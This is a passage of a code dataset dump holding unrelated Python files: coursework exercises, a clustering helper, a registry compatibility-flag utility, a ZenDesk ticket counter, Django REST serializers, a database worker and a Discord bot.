mysql.INTEGER(display_width=11), autoincrement=False, nullable=True))\n op.add_column('resume', sa.Column('school', mysql.VARCHAR(length=20), nullable=True))\n op.drop_column('resume', 'cooperation_state')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/dc69f5c18cae_修改在岗状态为合作状态.py","file_name":"dc69f5c18cae_修改在岗状态为合作状态.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"159378675","text":"def any_odd(xs):\n\t\"\"\" Return True if there is an odd number in xs, a list of integeres. \"\"\"\n\tfor v in xs:\n\t\tif v % 2 == 1:\n\t\t\treturn True\n\treturn False\n\n\ndef all_odd(xs):\n\t\"\"\" Return True if all the numbers are odd in xs, a list of integers. \"\"\"\n\tfor v in xs:\n\t\tif v % 2 == 0:\n\t\t\treturn False\n\treturn True\n\n\ndef three_odd(xs):\n\t\"\"\" Return True if at least 3 numbers are odd in xs, a list of integers. \"\"\"\n\tcount = 0\n\tfor v in xs:\n\t\tif v % 2 == 1:\n\t\t\tcount += 1\n\t\tif count == 3:\n\t\t\treturn True\n\treturn False\n\n\nodd1 = [1, 3, 5, 7, 8]\nodd2 = [1, 3, 5, 7, 9]\nodd3 = [1, 2, 5, 7, 9]\n\nodd4 = [1, 2, 3, 4, 6]\nodd5 = [1, 2, 3, 4, 7]\nodd6 = [1, 2, 3, 4, 9, 11]\n\n\nprint(all_odd(odd1))\nprint(all_odd(odd2))\nprint(all_odd(odd3))\n\nprint('-'*40)\n\nprint(three_odd(odd4))\nprint(three_odd(odd5))\nprint(three_odd(odd6))\n","sub_path":"Books/Python/How to Think Like a Computer Scientist - Chris Meyers/exercise_answers/ch04/odd_or_not.py","file_name":"odd_or_not.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"535947293","text":"from mpl_toolkits.mplot3d import Axes3D\r\nfrom pip._internal.utils.misc import enum\r\nfrom sklearn.cluster import KMeans, DBSCAN\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.cluster import AgglomerativeClustering\r\nfrom sklearn import metrics\r\n\r\n\r\nclass Clustering:\r\n\r\n Model = enum(KMEANS='Kmeans', HC='HC', DBSCAN='DBSCAN')\r\n\r\n def __init__(self, data_set, no_clusters, plot_result=True):\r\n self.data_set = data_set\r\n self.no_clusters = no_clusters\r\n self.plot_result = plot_result\r\n\r\n def plot(self, clusters):\r\n if len(self.data_set.data_points) > 1 and 1 < len(self.data_set.data_points[0]) <= 3:\r\n if len(self.data_set.data_points[0]) == 2:\r\n self.__plot2d(clusters)\r\n else:\r\n self.__plot3d(clusters)\r\n else:\r\n print('Too many dimensions for plotting')\r\n\r\n def __plot2d(self, clusters):\r\n plt.scatter(self.data_set.data_points[:, 0], self.data_set.data_points[:, 1] if len(\r\n self.data_set.segmentation_vars) > 1 else self.data_set.data_points[:, 0], c=clusters.labels_,\r\n cmap='rainbow')\r\n plt.yticks(())\r\n plt.legend()\r\n plt.show()\r\n\r\n def __plot3d(self, clusters):\r\n fig = plt.figure(1, figsize=(14, 13))\r\n ax = Axes3D(fig, rect=[0, 0, .95, 1], elev=48, azim=134)\r\n ax.scatter(self.data_set.data_points[:, 0], self.data_set.data_points[:, 1], self.data_set.data_points[:, 2],\r\n c=clusters.labels_, edgecolor='k')\r\n\r\n ax.w_xaxis.set_ticklabels([])\r\n ax.w_yaxis.set_ticklabels([])\r\n ax.w_zaxis.set_ticklabels([])\r\n ax.set_xlabel(self.data_set.segmentation_vars[0])\r\n ax.set_ylabel(self.data_set.segmentation_vars[1])\r\n ax.set_zlabel(self.data_set.segmentation_vars[2])\r\n ax.dist = 12\r\n plt.show()\r\n\r\n def exec(self, model=Model.KMEANS):\r\n if model is self.Model.KMEANS:\r\n self.model = KMeans(n_clusters=self.no_clusters, max_iter=10000)\r\n self.clusters = self.model.fit(self.data_set.data_points)\r\n elif model is self.Model.HC:\r\n self.model = AgglomerativeClustering()\r\n self.clusters = self.model.fit(self.data_set.data_points)\r\n else:\r\n self.model = DBSCAN(eps=0.0905, min_samples=5)\r\n self.clusters = self.model.fit(self.data_set.data_points)\r\n if self.plot_result:\r\n self.plot(self.clusters)\r\n return self.clusters\r\n\r\n def evaluate_silhouette(self):\r\n labels = self.model.labels_\r\n return metrics.silhouette_score(self.data_set.data_points, labels)\r\n\r\n def evaluate_calinski_harabaz_score(self):\r\n labels = self.model.labels_\r\n return metrics.calinski_harabaz_score(self.data_set.data_points, labels)\r\n\r\n @staticmethod\r\n def clustering_to_dicc(clusters):\r\n i = 0\r\n dicc = {}\r\n for c in clusters.labels_:\r\n if not c in dicc:\r\n dicc[c] = [i]\r\n else:\r\n dicc[c].append(i)\r\n i += 1\r\n return dicc\r\n\r\n @staticmethod\r\n def print_clustering(dicc):\r\n for key in dicc:\r\n print(\"Cluster \" + str(key) + str(dicc[key]))","sub_path":"data_science_example/data_science/segmentation/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"43480069","text":"#!/usr/bin/python3\n\"\"\"This module creates the square class\n\"\"\"\n\nfrom models.rectangle import Rectangle\nfrom models.base import Base\n\n\nclass Square(Rectangle):\n \"\"\"Square Class inherits from Rectangle Class\n\n Arguments:\n Rectangle {Class}\n \"\"\"\n def __init__(self, size, x=0, y=0, id=None):\n \"\"\"Init method\"\"\"\n super().__init__(size, size, x, y, id)\n\n def __str__(self):\n \"\"\"__str__ creates my string representation of the instance\n\n Returns:\n [str]\n \"\"\"\n string = \"[Square] ({}) {}/{} - {}\\\n \".format(self.id, self.x, self.y, self.width)\n return string\n\n @property\n def size(self):\n \"\"\"Getter for size\"\"\"\n return self.width\n\n @size.setter\n def size(self, value):\n \"\"\"size is setter for size\n\n Arguments:\n value {int}\n \"\"\"\n self.width = value\n self.height = value\n\n def update(self, *args, **kwargs):\n \"\"\"update implements two different ways to define or change\n the attributes of an instance\n\n Raises:\n ValueError\n \"\"\"\n if args and len(args) > 0:\n lenght = len(args)\n counter = 0\n for ar in args:\n counter += 1\n if counter < 5:\n if type(ar) is not int:\n raise ValueError(\"arg must be an integer\")\n if lenght >= 1:\n setattr(self, \"id\", args[0])\n if lenght >= 2:\n setattr(self, \"size\", args[1])\n if lenght >= 3:\n setattr(self, \"x\", args[2])\n if lenght >= 4:\n setattr(self, \"y\", args[3])\n else:\n for key, value in kwargs.items():\n if (hasattr(self, key)):\n setattr(self, key, value)\n\n def to_dictionary(self):\n \"\"\"to_dictionary creates and returns the dictionary\n representation of the instance\n\n Returns:\n [dic]\n \"\"\"\n attrs = [\"id\", \"size\", \"x\", \"y\"]\n new_dict = {key: getattr(self, key) for key in attrs}\n return new_dict\n","sub_path":"0x0C-python-almost_a_circle/models/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"328639163","text":"from __future__ import print_function\nimport _winreg as winreg\nimport os\nimport re\nimport time\nimport fnmatch\nimport sys\n#import argparse\n\n_name = \"Bulk Windows Application Compatibility Settings Utility\"\n_version = \"1.0.0\"\n_description = \"Utility that searches for executable files matching a file mask in a given directory and adds them \" \\\n \"to the Windows application compatibility settings registry key\"\n\n#parser = argparse.ArgumentParser(prog=_name, version=_version)\n#parser.add_argument()\n\n#########\n# Begin configuration options\n#########\n\n# Quiet mode prevents writing to stdout, however error messages will still be written to stderr\nquiet = False\n\n# File masks to search for and add to the registry with application compatibility settings\ninclude_extensions = ['*.exe', '*.com']\n\n# base directory to recursively search for files matching the above file masks\n# If this is None, the current working directory will be used instead, but the variable MUST be set\n# working_dir = r'C:\\some\\dir\\change\\me'\nworking_dir = None\n\n# Hostname to connect remote registry to. If local registry is to be used, this value should be set to None\n# Remote registry connection capability is provided by the _winreg API and supported by the script but is\n# completely UNTESTED in the context of this tool.\nregistry_host = None\n#registry_host = someserver.somedomain.tld\n\n# Registry hive to connect to as a _winreg hive object. By default it is winreg.HKEY_CURRENT_USER and probably\n# shouldn't be changed.\n# This MUST be a winreg hive object. Simply using the hive name as a string WILL NOT WORK!\n# Using winreg.HKEY_LOCAL_MACHINE does not work under Windows 8 (With UAC on or off) and no other platforms\n# have been tested, YMMV\nregistry_hive = winreg.HKEY_CURRENT_USER\n\n# Registry key within the selected hive that stores the application compatibility settings. Do not modify unless\n# you understand what you're doing. 99.9% of users will not need to modify this EVER.\nregistry_key = r'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers'\n\n# Registry value data to set for all new and updated values\n# Registry format is something like: HIVE\\KEY\\KEY\\KEY\\KEY VALUE_NAME:VALUE_TYPE:VALUE_DATA\ncompat_properties = r'~ RUNASADMIN WIN7RTM'\n\n# Continue adding new registry entries or updating existing ones if there is an error writing the previous entry\nresume_on_error = True\n\n# Perform a backup of the registry hive+key before making any modifications.\n# Currently DOES NOT WORK!\ndo_registry_backup = False\n\n# Filename to store the registry backup. Defaults to the user's home directory in an aptly named & timestamped file\nbackup_filename = os.path.join(os.path.expanduser(\"~\"),\n 'AppCompat_Registry_Backup-'\n + time.strftime(\"%a_%d_%b_%Y_%H-%M-%S\")\n + '.reg')\ncontinue_if_backup_fails = True\n\n#########\n# End of configuration options\n#########\n\ndef print_message(message):\n if not quiet:\n print(\"[*] \" + str(message))\n\n\ndef print_error(message, stderr=True):\n if stderr:\n print(\"[!] \" + message, file=sys.stderr)\n else:\n print(\"[!] \" + message)\n\n# List to store files matching the include_extensions file masks\nexecutable_files = []\nexisting_registry_values = {}\nfiles_to_update = []\nfiles_to_add = []\nregistry_backup_completed = (False, None)\nvalues_added = 0\nvalues_updated = 0\nvalues_modified_total = 0\nvalues_skipped = 0\n\nif not working_dir:\n working_dir = os.getcwd()\n\n# Translate our list of file extension masks to regular expressions for use with re.match()\ninclude_extensions_regex = r'|'.join([fnmatch.translate(x) for x in include_extensions])\n\n# Find files recursively in the working_dir that match the specified file masks\nprint_message(\"Recursing directory: \" + working_dir + \" for files matching: \" + ','.join(include_extensions))\nfor root, dirs, files in os.walk(working_dir):\n executable_files += [f for f in [os.path.join(root, f) for f in files] if re.match(include_extensions_regex, f)]\n\n# Quit with informative information if no matching files are found\nif executable_files is None or len(executable_files) < 0:\n print_error(\"No files matching provided file mask(s) in the directory provided. Unable to continue.\")\n print_error(\"Search directory: \" + working_dir)\n print_error(\"File mask(s): \" + ','.join(include_extensions))\n sys.exit(1)\n\n# Open the specified registry hive (Remote or local. If local, registry_host should be None\nif registry_host is None:\n print_message(\"Connecting to local Windows registry.\")\nelse:\n print_message(\"Connecting to Windows registry on host: \" + registry_host)\n\nwith winreg.ConnectRegistry(registry_host, registry_hive) as open_registry_hive:\n # Open the registry key\n with winreg.OpenKey(open_registry_hive, registry_key, 0, winreg.KEY_ALL_ACCESS) as open_registry_key:\n\n if do_registry_backup:\n if registry_backup_completed == (True, registry_key):\n print_error(\"Registry backup for key \\\"\" + registry_key + \"\\\" has already been completed\")\n\n print_message(\"Backing up registry key to file: \" + backup_filename)\n try:\n winreg.SaveKey(open_registry_key, backup_filename)\n except WindowsError as ex:\n print_error(\"Exception caught while saving registry key backup.\")\n print_error(\"Key: \" + registry_key)\n print_error(\"Filename: \" + backup_filename)\n print_error(\"Exception message: \" + str(ex.message))\n print_error(\"Exception filename: \" + str(ex.filename))\n print_error(\"Windows error: \" + str(ex.winerror))\n\n if not continue_if_backup_fails:\n print_error(\"Quitting due to failure to back up the registry key before modifying values.\")\n raise\n else:\n registry_backup_completed = (True, registry_key)\n print_message(\"Registry key successfully saved to file\")\n\n # Retrieve the existing values within the opened key and store them in existing_registry_values dict\n for i in range(0, winreg.QueryInfoKey(open_registry_key)[1]):\n value_pair = winreg.EnumValue(open_registry_key, i)\n existing_registry_values[value_pair[0]] = value_pair[1]\n\n # Check if any of the executables in executable_files already exists in a value, if so put them in a list of\n # tuples,\n # if not, also put them in a list\n # List of tuples [(property,value)]\n files_to_update = [(f, v) for f, v in existing_registry_values.iteritems() if f in executable_files]\n # List of tuples [(property,value)]\n files_to_add = [(f, compat_properties) for f in executable_files if f not in existing_registry_values.keys()]\n\n # Insert new values & data from files_to_add\n for (f, v) in files_to_add:\n try:\n #winreg.SetValue(open_registry_key,f,1,v)\n winreg.SetValueEx(open_registry_key, f, winreg.REG_SZ, winreg.REG_SZ, v)\n except WindowsError as ex:\n print_error(\"Exception caught while creating new registry subkey.\")\n print_error(\"Key: \" + registry_key)\n print_error(\"Name: \" + f)\n print_error(\"Value: \" + v)\n print_error(\"Exception message: \" + str(ex.message))\n print_error(\"Exception filename: \" + str(ex.filename))\n print_error(\"Windows error: \" + str(ex.winerror))\n\n if not resume_on_error is True:\n raise ex\n else:\n values_added += 1\n values_modified_total += 1\n print_message(\"New value created for file: \" + f)\n # Update existing values with new/updated (Or possibly the same) data\n for (f, v) in files_to_update:\n # Overwrite/update the original value data with our static value in compat_properties if they differ,\n # else, don't process the value as no update is needed\n if not v == compat_properties:\n v = compat_properties\n else:\n # No update to the key is needed as new & existing values are identical\n values_skipped += 1\n print_message(\"Skipped updating value as existing and new values are identical: \" + f)\n continue\n\n try:\n winreg.SetValueEx(open_registry_key, f, winreg.REG_SZ, winreg.REG_SZ, v)\n #winreg.SetValue(open_registry_key,f,1,v)\n except WindowsError as ex:\n print_error(\"Exception caught while updating existing registry subkey.\")\n print_error(\"Key: \" + registry_key)\n print_error(\"Name: \" + f)\n print_error(\"Value: \" + v)\n print_error(\"Exception message: \" + ex.message)\n print_error(\"Exception filename: \" + ex.filename)\n print_error(\"Windows error: \" + ex.winerror)\n\n if not resume_on_error is True:\n raise ex\n else:\n values_updated += 1\n values_modified_total += 1\n print_message(\"Updated existing key for file: \" + f)\n\nprint_message(\"Registry values added: \" + str(values_added))\nprint_message(\"Registry values modified: \" + str(values_updated))\nprint_message(\"Registry value modifications skipped (Pre-existing): \" + str(values_skipped))\nprint_message(\"Total registry modifications performed: \" + str(values_modified_total))\n","sub_path":"bulk_add_to_application_compatability.py","file_name":"bulk_add_to_application_compatability.py","file_ext":"py","file_size_in_byte":9651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"63615125","text":"class _No:\n def __init__(self,anterior,proximo,item):\n self.anterior = anterior\n self.proximo = proximo\n self.item = item\n\nclass iterador:\n def __init__(self, lista):\n self.atual = lista.primeiro\n def __next__(self):\n if self.atual.proximo is None:\n raise StopIteration\n else:\n self.atual = self.atual.proximo\n return self.atual.item\n\nclass Lista:\n def __init__(self,*args):\n self.primeiro = self.ultimo = _No(None,None,None)\n self.tamanho = 0\n \n def __iter__(self):\n return iterador(self)\n\n def __len__(self):\n return self.tamanho\n \n def __repr__(self):\n saida = f'{self.__class__.__name__}('\n content = ', '.join(x.__repr__() for x in self)\n saida+= content + ')'\n return saida\n\n def __str__(self):\n saida = f'('\n content = ', '.join(x.__repr__() for x in self)\n saida+= content + ')'\n return saida\n \n def __getitem__(self, i):\n '''\n Busca de elemento por meio da atribuição - item[index] - \n :param i: Index do item a ser buscado\n '''\n atual = self.primeiro\n cont = -1\n while atual.proximo is not None and cont != i:\n atual = atual.proximo\n cont += 1\n if cont == i:\n return atual.item\n else:\n return IndexError\n \n def __conteins__(self,item):\n '''\n Método que retorna True ou False para saber se o elemento está na lista\n por meio - item in Lista - \n '''\n aux = self.primeiro\n while aux.proximo is not None and aux.item != item:\n aux = aux.proximo\n return aux.item\n \n def anexar(self,item):\n '''\n Adiciona um item qualquer, passado como parametro, no final da lista \n :param item: Item a ser anexado a lista\n '''\n self.ultimo.proximo = _No(self.ultimo,None,item)\n self.ultimo = self.ultimo.proximo\n self.tamanho += 1\n \n\n def adicionar_index(self, i, item):\n '''\n Adiciona um item qualquer em uma posição especifica\n :param i: posição(index) do item a ser inserido\n :param item: Item a ser inserido\n '''\n cont = -1\n posicao = self.primeiro\n while i != cont or posicao.proximo is None:\n posicao = posicao.proximo\n cont += 1\n posicao.anterior = _No(posicao.anterior,posicao,item)\n posicao.anterior.anterior.proximo = posicao.anterior\n self.tamanho += 1\n\n def remove_no_fim(self,):\n '''\n Remove o ultimo item da lista\n '''\n aux = self.ultimo\n self.ultimo = self.ultimo.anterior\n self.ultimo.proximo = None\n aux.anterior = None\n val = aux.item\n aux.item = None\n del(aux)\n self.tamanho -= 1\n return val","sub_path":"algorithm application/Projeto 2/listduplamenteencadeada.py","file_name":"listduplamenteencadeada.py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"167978735","text":"import requests\nimport json\nimport csv\nfrom urllib.parse import urlencode\nimport datetime\nfrom datetime import timedelta\n\n# ZenDesk API Token and headers\ntoken = ''\nheaders = {'content-type': 'application/json', 'Authorization': 'Basic ' + token}\n#begin the CSV file we are writing to with headers\ncsvheaders = ['Tickets First 30 Days', 'Tickets Between 30 and 60 Days', 'Tickets Between 60 and 90 Days', 'Tickets After 90 days']\nwith open('ticketsbyday.csv', 'w') as f:\n writer = csv.writer(f)\n writer.writerows([csvheaders])\n#to assess duration, timedelta objects need to be defined\nthirty = timedelta(days=30)\nsixty = timedelta(days=60)\nninety = timedelta(days=90)\n#Lotta loops here, keep an eye out\n#this source .csv file containes the account name, ZenDesk ID and date of first sale for every account that has rung sales\nwith open('AccountNameAndZenDeskID.csv', 'r', encoding='utf-8-sig') as f:\n reader = csv.reader(f)\n print(reader)\n for row in reader:\n params = {\n 'query': 'type:ticket organization:' + row[0]\n }\n url = ['https://yourorghere.zendesk.com/api/v2/search.json?' + urlencode(params)]\n #This first loop checks for no results and if so, returns an error and keeps going, if not it appends each page of the results to the url list (ZD paginates if there are over 100 returned responses in a search)\n for i in url:\n response = requests.get(i, headers=headers)\n response_text = json.loads(response.text)\n if response_text == []:\n with open('ticketsbyday.csv', 'a') as f:\n writer = csv.writer(f)\n writer.writerow(\"Error with \" + row[0])\n continue\n elif response_text['next_page']:\n url.append(response_text['next_page'])\n print(\"Another page!\")\n else:\n print(\"No more pages!\")\n break\n print('Tickets for ' + row[0])\n tickets_30 = 0\n tickets_60 = 0\n tickets_90 = 0\n tickets_after_90 = 0\n #now we have a list of URLs, we iterate over every URL in the list, and query each one for every ticket contained within\n for i in url:\n response = requests.get(i, headers=headers)\n response_text = json.loads(response.text)\n for i in response_text['results']:\n print(datetime.datetime.strptime(i['created_at'], '%Y-%m-%dT%H:%M:%SZ'))\n print(datetime.datetime.strptime(row[2], '%m/%d/%Y %H:%M'))\n #convert created at date of ticket and subtract it from our source csv file to work out how many days the ticket was created after their date of first sale\n ticket_age = datetime.datetime.strptime(i['created_at'], '%Y-%m-%dT%H:%M:%SZ') - datetime.datetime.strptime(row[2], '%m/%d/%Y %H:%M')\n if ticket_age <= thirty:\n print(\"This ticket came in their first 30 days!\")\n tickets_30 += 1\n elif ticket_age <= sixty:\n print(\"This ticket came in their first 60 days!\")\n tickets_60 += 1\n elif ticket_age <= ninety:\n print(\"this ticket came in their first 90 days!\")\n tickets_90 += 1\n else:\n print(\"This ticket is older than 90 days!\")\n tickets_after_90 += 1\n #this just keeps track as the script runs\n print(\"This store had \" + str(tickets_30) + \" tickets in their first 30 days\")\n print(\"This store had \" + str(tickets_60) + \" tickets in their first 60 days\")\n print(\"This store had \" + str(tickets_90) + \" tickets in their first 90 days\")\n print(\"This store had \" + str(tickets_after_90) + \" tickets after their first 90 days\")\n #write the numbers to a new .csv\n number_of_tickets = [str(tickets_30), str(tickets_60), str(tickets_90), str(tickets_after_90)]\n with open('ticketsbyday.csv', 'a') as f:\n writer = csv.writer(f)\n writer.writerows([number_of_tickets])\n\n print(response_text['next_page'])\n","sub_path":"306090open.py","file_name":"306090open.py","file_ext":"py","file_size_in_byte":4050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"393056098","text":"# -*- coding: utf-8 -*-\n\n# TODO: https://docs.sqlalchemy.org/en/latest/core/pooling.html - for multiple connection\n# http://www.jeremyaldrich.net/en/latest/multiprocessing_sqlalchemy_largefile_processing.html\n\nfrom bogoslovskiy.model.db import AbstractDbWorker\n\nimport sqlalchemy\nimport pandas as pd\n\nimport hashlib\nimport logging\nimport _pickle as cPickle\n\n\nDEFAULT_CACHE_PARAMS: dict = {\n\t\"host\": \"localhost\",\n\t\"ttl\": 60*60*5 # 5 hours\n}\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\nclass InHouseDbWorker(AbstractDbWorker):\n\t\"\"\"Class provides API to work with a database.\n\tIt can return either pandas DataFrame object or SQLAlchemy cursor object.\n\tAll it needs is a ConfigWorker object to work with a database (and a database name).\n\n\tConfiguration file example:\n\t\t[database]\\n\n\t\tdriver = mysql+mysqlconnector\\n\n\t\tuser = user1\\n\n\t\tpassword = pass1\\n\n\t\thost = host1\\n\n\t\tport = 3306\\n\n\t\tdatabase = db1\\n\n\t\"\"\"\n\n\tdef _get_connection_string(self) -> str:\n\t\t\"\"\"Method returns a connection string for a database. All parameters are taken from a configuration file.\n\n\t\tReturns:\n\t\t\tstr: connection string of a form `driver://user:password@host:port/database`\n\n\t\t\"\"\"\n\t\treturn '{0}://{1}:{2}@{3}:{4}/{5}'.format(\n\t\t\tself.config.get_key_from_section_of_config(self.db_name, \"driver\"),\n\t\t\tself.config.get_key_from_section_of_config(self.db_name, \"user\"),\n\t\t\tself.config.get_key_from_section_of_config(self.db_name, \"password\"),\n\t\t\tself.config.get_key_from_section_of_config(self.db_name, \"host\"),\n\t\t\tself.config.get_key_from_section_of_config(self.db_name, \"port\"),\n\t\t\tself.config.get_key_from_section_of_config(self.db_name, \"database\")\n\t\t)\n\n\tdef _get_engine(self) -> sqlalchemy.engine.Engine:\n\t\t\"\"\"Method creates an engine (interface) to a work with a database. It does NOT create a connection.\n\n\t\tReturns:\n\t\t\tsqlalchemy.engine.Engine: object to work with a database\n\n\t\tRaises:\n\t\t\tAssertionError: error indicates that either `self.config` or `self.db_name` is empty\n\n\t\t\"\"\"\n\t\tlogger.debug(\"Getting engine\")\n\n\t\t# we need to guarantee that we get a config and a database name (for config section)\n\t\tassert self.config, logger.error(\"InHouseDbWorker must have a config!!!\")\n\t\tassert self.db_name, logger.error(\"InHouseDbWorker must have a database name!!!\")\n\n\t\tconnection_string: str = self._get_connection_string()\n\n\t\treturn sqlalchemy.create_engine(connection_string)\n\n\tdef _cache_df(self, query: str, conn: sqlalchemy.engine.Connection, ttl: int = 60*60*5, *args) -> pd.DataFrame:\n\t\tquery_hash: str = hashlib.sha224(query.encode('utf-8')).hexdigest()\n\t\tkey: str = \"sql_cache:\" + query_hash\n\t\tlogger.debug(\n\t\t\t\"Created Key\\t : {}\".format(key)\n\t\t)\n\n\t\tif not self.cache_service.get(key):\n\t\t\tdata: pd.DataFrame = pd.read_sql(query, conn, *args)\n\t\t\tserialized_data: bytes = cPickle.dumps(data)\n\n\t\t\t# set data to redis\n\t\t\tself.cache_service.put(key, serialized_data, ttl)\n\n\t\t\tlogger.debug(\"Setting data to Redis\")\n\n\t\tserial: bytes = self.cache_service.get(key)\n\n\t\tdata: pd.DataFrame = cPickle.loads(serial)\n\n\t\treturn data\n\n\tdef get_dataframe(self, query: str, *args) -> pd.DataFrame:\n\t\t\"\"\"Queries a database a returning a DataFrame. If `self.use_cache = True`, it tries to cache a query result.\n\n\t\tArgs:\n\t\t\tquery (str): query string\n\t\t\t*args: arguments for pandas `read_sql`. See documentation here: https://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_sql.html\n\n\t\tReturns:\n\t\t\tpd.DataFrame: results of querying in a form of DataFrame\n\n\t\t\"\"\"\n\t\twith self.engine.connect() as conn:\n\t\t\tif self.use_cache:\n\t\t\t\ttry:\n\t\t\t\t\treturn self._cache_df(query, conn)\n\t\t\t\texcept ConnectionError:\n\t\t\t\t\tlogger.warning(\"No connection to the caching service. Quering...\")\n\t\t\t\t\tself.use_cache = False\n\t\t\t\t\treturn pd.read_sql(query, conn, *args)\n\t\t\telse:\n\t\t\t\treturn pd.read_sql(query, conn, *args)\n\n\tdef get_iterable(self, query: str, *args) -> sqlalchemy.engine.result.ResultProxy:\n\t\t\"\"\"\n\n\t\tArgs:\n\t\t\tquery (str): query string\n\t\t\t*args: arguments for SQLAlchemy `execute`. See documentation here: https://docs.sqlalchemy.org/en/latest/core/connections.html#sqlalchemy.engine.Connection.execute\n\n\t\tReturns:\n\t\t\tsqlalchemy.engine.result.ResultProxy: iterable with query results\n\n\t\t\"\"\"\n\t\twith self.engine.connect() as conn:\n\t\t\treturn conn.execute(query, *args)\n","sub_path":"bogoslovskiy/model/db/Implementation/InHouseDbWorker.py","file_name":"InHouseDbWorker.py","file_ext":"py","file_size_in_byte":4257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"268981867","text":"#!/usr/bin/python3\n\nimport sys\nimport logging\nfrom os import path, remove\n\nclass Log:\n def __init__(self,\n log_file_name: str = 'large_index.log'\n ):\n super().__init__()\n self.log_file_name = log_file_name\n self.logger = logging.getLogger(__name__)\n self.log_file_format = logging.Formatter('[%(asctime)s] %(levelname)s - %(message)s')\n\n def get_file_handler(self):\n self.file_handler = logging.FileHandler(self.log_file_name)\n self.file_handler.setFormatter(self.log_file_format)\n\n def get_stream_handler(self):\n self.stream_handler = logging.StreamHandler()\n self.stream_handler.setFormatter(self.log_file_format)\n\n def get_logger(self):\n self.logger.setLevel(logging.INFO)\n self.logger.addHandler(self.file_handler)\n self.logger.addHandler(self.stream_handler)\n\n def remove_old_log_file(self):\n if path.isfile(self.log_file_name):\n remove(self.log_file_name)\n\nif __name__ == \"__main__\":\n class_log = Log()\n class_log.remove_old_log_file()\n class_log.get_file_handler()\n class_log.get_stream_handler()\n class_log.get_logger()\n","sub_path":"large_index/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"305441951","text":"from rest_framework import serializers\n\nfrom reviews.models import Comment, Review\n\nfrom titles.models import Category, Genre, Title\n\nfrom users.models import User\n\n\nclass ReviewSerializer(serializers.ModelSerializer):\n author = serializers.SlugRelatedField(slug_field='username',\n read_only=True)\n title = serializers.SlugRelatedField(slug_field='pk', read_only=True)\n\n class Meta:\n fields = ('id', 'text', 'author', 'score', 'pub_date', 'title')\n model = Review\n\n def validate(self, data):\n author = self.context['request'].user\n title_id = self.context.get('title_id')\n if (Review.objects.filter(author=author, title=title_id).exists()\n and self.context['request'].method != 'PATCH'):\n raise serializers.ValidationError('Вы уже оставили отзыв')\n return data\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n author = serializers.SlugRelatedField(slug_field='username',\n read_only=True,)\n\n class Meta:\n fields = ('id', 'text', 'author', 'pub_date')\n model = Comment\n\n\nclass UserSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = User\n fields = ('id',\n 'username',\n 'role',\n 'email',\n 'first_name',\n 'last_name',\n 'bio',)\n\n\nclass UserEmailSerializer(serializers.Serializer):\n email = serializers.EmailField(required=True)\n\n def validate(self, data):\n if User.objects.filter(email=data['email']).exists():\n raise serializers.ValidationError('Пользователь с таким email уже '\n 'зарегестрирован в системе')\n return data\n\n\nclass UserLoginSerializer(serializers.Serializer):\n email = serializers.EmailField(required=True)\n secret = serializers.CharField(required=True)\n\n def validate(self, data):\n email = data['email']\n secret = data['secret']\n if not User.objects.filter(email=email,\n secret=secret).exists():\n raise serializers.ValidationError('Вы отправили неверный код')\n return data\n\n\nclass GenreSerializer(serializers.ModelSerializer):\n class Meta:\n fields = ('name', 'slug')\n model = Genre\n\n\nclass CategorySerializer(serializers.ModelSerializer):\n class Meta:\n fields = ('name', 'slug')\n model = Category\n\n\nclass TitleSerializer(serializers.ModelSerializer):\n category = CategorySerializer(read_only=True)\n genre = GenreSerializer(read_only=True, many=True)\n\n class Meta:\n fields = ('id',\n 'name',\n 'category',\n 'genre',\n 'year',\n 'description',\n 'rating',)\n model = Title\n","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"53613160","text":"from discord.ext import commands\nfrom scrape import Scrape\nimport aiomysql\nimport discord\nimport config\nimport util\n\nbot = commands.Bot(command_prefix = commands.when_mentioned_or(*config.prefixes),\n description = config.description,\n pm_help = True)\n\nclient = discord.Client()\n\n@bot.event\nasync def on_ready():\n print(\"Logged in!\")\n print(\"Username: \" + bot.user.name)\n print(\"User ID: \" + bot.user.id)\n await session.connect()\n\n@bot.event\nasync def on_message(message):\n if message.author == bot.user:\n return\n await session.check_message(message)\n await bot.process_commands(message)\n\nif __name__ == \"__main__\":\n for extension in config.initial_extensions:\n try:\n bot.load_extension(extension)\n except (AttributeError, ImportError) as oops:\n print(\"Failed to load extension!\")\n print(\"{}: {}\".format(type(oops), str(oops)))\n session = Scrape(bot.loop)\n util.make_dir()\n\nbot.run(config.token)\n","sub_path":"zahando/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"279451210","text":"# Эта программа делит одно число на другое.\r\n# Тема: --- ИСКЛЮЧЕНИЯ ---\r\n\r\n\r\ndef main():\r\n # Получить два числа.\r\n num1 = int(input('Bвeдитe число: '))\r\n num2 = int(input('Bвeдитe еще одно число: 